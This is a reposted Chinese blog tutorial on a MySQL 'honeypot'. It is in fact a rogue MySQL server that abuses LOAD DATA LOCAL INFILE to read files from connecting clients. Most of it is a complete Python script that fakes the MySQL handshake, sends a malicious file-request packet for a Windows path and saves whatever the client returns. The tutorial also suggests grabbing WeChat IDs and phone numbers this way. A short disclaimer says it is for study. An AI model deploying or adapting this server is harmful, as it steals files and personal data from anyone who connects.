首页 > 数据库 > 数据库开发技术 > 关于MySQL密码 你不知道的事
本文我们搭建一个mysql蜜罐。通过密码我们可以获取攻击者的相关信息。
本文仅供学习和研究,坚决反对一切危害网络安全的行为。
我们首先创建一个数据库,并且保存能够远程登录。
思路:当攻击者通过暴力破解等操作,登录数据库,我们便可以获得攻击者的相关信息。如微信id 手机号码等信息。
信息验证
微信ID:在微信文件WeChat Files/All Users/config/config.data
使用WireShark抓包,选择对应网卡并指定3306端口
接下来我们尝试利用mysql命令读取本地mysql服务器中的文件。
use dabiaoge;#进入数据库
create table student(id varchar(8));# 创建一个student表
#将/root/22.txt中的文件读取,并写入数据库
load data local infile "D:/1.txt" into table student;
相应的网络请求信息。
以上,我们是在Linux环境中进行的,Windows同理。利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
因此,可以利用socket模块来模拟一个mysql认证的流程:
参考脚本
# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "C:\\Windows\\PFRO.log"
#这里为要读取的文件路径
get_data(filename, client, addr)
client.close()
当目标进行登录时,我们变能获得对方信息。
注意: 由于环境等问题,在高版本mysql中可能不能复现,需要修改配置文件。
更多精彩文章 欢迎关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。